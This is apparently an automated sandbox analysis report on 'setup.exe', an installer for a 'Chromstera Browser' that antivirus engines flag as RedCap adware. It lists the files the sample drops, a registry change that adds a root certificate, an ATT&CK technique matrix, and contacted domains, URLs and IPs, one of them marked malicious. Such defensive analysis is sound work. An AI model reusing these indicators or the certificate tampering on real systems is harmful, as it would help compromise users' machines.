Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00D00290 GetLocalTime,

0_2_00D00290

Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe

Code function: 8_2_00181549 GetTimeZoneInformation,

8_2_00181549

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00BA7620 GetVersionExW,GetVersionExW,GetVersionExW,IsProcessorFeaturePresent,

0_2_00BA7620

Source: C:\Users\user\Desktop\setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Adds / modifies Windows certificates

Source: C:\Users\user\Desktop\setup.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8 Blob

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Replication Through Removable Media	2 Native API	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	112 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 Windows Service	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Browser Extensions	11 Process Injection	1 Timestomp	NTDS	46 System Information Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	151 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	122 Masquerading	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Modify Registry	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
setup.exe	42%	ReversingLabs	Win32.Adware.RedCap
setup.exe	100%	Avira	TR/Redcap.gylsb

Dropped Files

Source	Detection	Scanner
C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\aischeduler2.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\lzmaextractor.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\tempFiles.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\viewer.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI3193.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI3230.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI3250.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI3290.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI32CF.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI32EF.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI331F.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI3340.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI3360.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI34E7.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI3517.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI3566.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI35A6.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI35E5.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shi3105.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shiC6A3.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI11D0.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI4739.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC933.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC9EF.tmp	0%	ReversingLabs
C:\Windows\Installer\MSICA7D.tmp	0%	ReversingLabs
C:\Windows\Installer\MSICAEB.tmp	0%	ReversingLabs
C:\Windows\Installer\MSICB79.tmp	0%	ReversingLabs
C:\Windows\Installer\MSICBB9.tmp	0%	ReversingLabs
C:\Windows\Installer\MSICC66.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID04F.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID11C.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIEC26.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIFB77.tmp	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://contoso.com/License	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2.C:	0%	URL Reputation	safe
https://g.live.com/odclientsettings/Prod.C:	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://chrome.cloudflare-dns.com/dns-query	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	unknown
chromsteraupdates.com	104.21.8.139	true	true	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
secure.chromstera.com	188.114.97.3	true	false	unknown
googlehosted.l.googleusercontent.com	172.217.16.193	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
chromsterabrowser.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://secure.chromstera.com/cross/crx3dynamic/?adv=426&v=4.4&time=1730139128	false		unknown
https://chromsteraupdates.com/download/updates.txt	true		unknown
https://chrome.cloudflare-dns.com/dns-query	false	URL Reputation: safe	unknown
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://html4/loose.dtd	shi3105.tmp.0.dr	false		unknown
https://chromsteraupdates.com/download/updates.txtB3	setup.exe, 00000003.00000003.1741315776.0000000004162000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://go.microsoft.co	powershell.exe, 0000000A.00000002.1929021569.00000248983C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chromsterabrowser.com/download/updates.txt$T	setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cacerts.digicert.cX	setup.exe, 00000000.00000002.2952389573.0000000005B80000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 0000000E.00000002.2048653111.000001BA101B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chromsterabrowser.com/download/updates.txtater.	ChromsteraUpdater.exe, 00000008.00000002.1810981504.00000000005E7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.chromstera.comz	setup.exe, 00000000.00000002.2952714019.000000000628A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chromsteraupdates.com/	ChromsteraUpdater.exe, 00000008.00000002.1810981504.000000000064D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.chromstera.comh	setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000001B.00000003.2096112587.00000278DA2F3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.2096112587.00000278DA344000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.2096112587.00000278DA312000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.2096112587.00000278DA338000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.2096112587.00000278DA357000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.27.dr	false	URL Reputation: safe	unknown
https://secure.chromstera.com/cross/crx3dynamic/?adv=426	powershell.exe, 00000006.00000002.1813013819.0000025201A0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://secure.chromstera.com/cross/crx3dynamic/?adv=426&v=4.4	powershell.exe, 00000006.00000002.1813013819.0000025201A0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://.css	shi3105.tmp.0.dr	false		unknown
http://secure.chromstera.com	powershell.exe, 00000006.00000002.1813013819.0000025201B3F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://secure.chromstera.com/cross/crx3dynamic/?adv=426&v=4.4&time=	powershell.exe, 00000006.00000002.1813013819.0000025201A0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.chromstera.comARPSYSTEMCOMPONENTARPURLINFOABOUTARPURLUPDATEINFOExtractFilesFirstWindowsT	setup.exe, Chromnius-Main.msi.0.dr	false		unknown
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 0000001B.00000003.2096112587.00000278DA36A000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.27.dr	false	URL Reputation: safe	unknown
https://chromsterabrowser.com/download/updates.txtN	setup.exe, 00000000.00000003.2315981321.0000000003C6C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2951194145.0000000003C75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2317680666.0000000003C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2	svchost.exe, 0000001B.00000003.2096112587.00000278DA312000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.27.dr	false	URL Reputation: safe	unknown
https://www.chromstera.com	setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.2952383643.0000000005110000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.2949076148.00000000013CA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 0000000E.00000002.2048653111.000001BA101B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.1826666135.0000025210075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1826666135.00000252101B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1922851954.00000248902B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1922851954.00000248903F8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2048653111.000001BA10074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2048653111.000001BA101B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.chromstera.commu	setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.google.com	setup.exe	false		unknown
https://www.chromstera.comrT/	setup.exe, 00000000.00000002.2952714019.000000000628A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chromsterabrowser.com/download/updates.txt8	setup.exe, 00000003.00000003.1746081224.0000000005133000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.1813013819.0000025200001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1860654492.0000024880241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1956633566.000001BA00001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://.jpg	shi3105.tmp.0.dr	false		unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000001B.00000003.2096112587.00000278DA312000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.27.dr	false	URL Reputation: safe	unknown
https://chromsteraupdates.com/download/updates.txttd	setup.exe, 00000000.00000003.1699659793.0000000000909000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1699730264.000000000092C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1699769061.0000000000937000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.1826666135.0000025210075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1826666135.00000252101B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1922851954.00000248902B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1922851954.00000248903F8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2048653111.000001BA10074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2048653111.000001BA101B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chromsterabrowser.com/download/updates.txtromstera	setup.exe, 00000003.00000002.2952383643.0000000005110000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://secure.chromstera.com/cross/crx3dynamic/?adv=426&v=	powershell.exe, 00000006.00000002.1813013819.0000025201A0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.chromstera.com/installer/	setup.exe, Chromnius-Main.msi.0.dr	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000E.00000002.1956633566.000001BA00233000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.c	powershell.exe, 00000006.00000002.1813013819.0000025201A0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000E.00000002.1956633566.000001BA00233000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000006.00000002.1813013819.0000025200C33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1860654492.0000024880E74000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1956633566.000001BA00C33000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chromsterabrowser.com/	ChromsteraUpdater.exe, 00000008.00000002.1810981504.00000000005E7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 0000000E.00000002.2048653111.000001BA101B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.chromstera.com/cross/crx3dynamic/?adv=	powershell.exe, 00000006.00000002.1813013819.0000025201A0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.ver)	svchost.exe, 0000001B.00000002.2953061527.00000278DA400000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.yahoo.com	setup.exe	false		unknown
https://chromsterabrowser.com/download/updates.txtDS	setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 0000000E.00000002.1956633566.000001BA00233000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chromsterabrowser.com/download/updates.txt	setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000003.1741315776.0000000004162000.00000004.00000020.00020000.00000000.sdmp, ChromsteraUpdater.exe, 00000008.00000003.1798424714.00000000026C0000.00000004.00000800.00020000.00000000.sdmp, ChromsteraUpdater.exe, 00000008.00000002.1810981504.0000000000636000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.chromstera.comT	setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 0000001B.00000003.2096112587.00000278DA312000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.chromstera.com	powershell.exe, 00000006.00000002.1813013819.0000025201A0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl3.digicert.coT	setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.chromstera.comY	setup.exe, 00000000.00000003.1719741857.0000000003CD8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chromsterabrowser.com/download/updates.txtAI_NEWERPRODUCTFOUND	setup.exe, 00000000.00000003.1699493565.00000000008B2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://secure.chromstera.com/cross/crx3dynamic	powershell.exe, 00000006.00000002.1813013819.0000025201A0B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, Chromnius-Main.msi.0.dr	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000006.00000002.1813013819.0000025200001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1860654492.0000024880241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1956633566.000001BA00001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chromsteraupdates.com/download/updates.txtl	ChromsteraUpdater.exe, 00000008.00000002.1810981504.00000000005E7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chromsteraupdates.com/download/updates.txtCheckFrequencyDownloads	setup.exe, 00000000.00000003.1699493565.00000000008B2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.chromstera.combmp	setup.exe, 00000000.00000003.2315731246.00000000062E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.chromstera.comM	setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.chromstera.compl	setup.exe, 00000000.00000003.2315731246.00000000062E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chromsteraupdates.com/download/updates.txtY0	setup.exe, 00000000.00000002.2950690414.0000000003C10000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chromsterabrowser.com/download/updates.txtr	setup.exe, 00000000.00000003.1719360172.00000000062C3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1719465037.00000000062DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.8.139	chromsteraupdates.com	United States	13335	CLOUDFLARENETUS	true
188.114.97.3	secure.chromstera.com	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544057
Start date and time:	2024-10-28 19:10:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	57
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	setup.exe
Detection:	MAL
Classification:	mal81.troj.evad.winEXE@150/138@11/5
EGA Information:	Successful, ratio: 62.5%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 172.217.18.110, 142.251.5.84, 142.250.186.163, 34.104.35.123, 184.28.90.27, 142.250.186.170, 216.58.206.74, 172.217.16.202, 142.250.74.202, 142.250.184.202, 142.250.186.42, 142.250.185.138, 172.217.18.10, 216.58.212.138, 142.250.185.106, 142.250.186.138, 142.250.181.234, 142.250.186.74, 142.250.184.234, 142.250.186.106, 142.250.185.74, 13.107.42.16, 142.250.181.238, 13.107.21.239, 204.79.197.239, 142.250.185.202, 142.250.185.234, 216.58.206.42, 142.250.185.170, 142.250.185.195, 142.250.115.94, 142.250.113.94
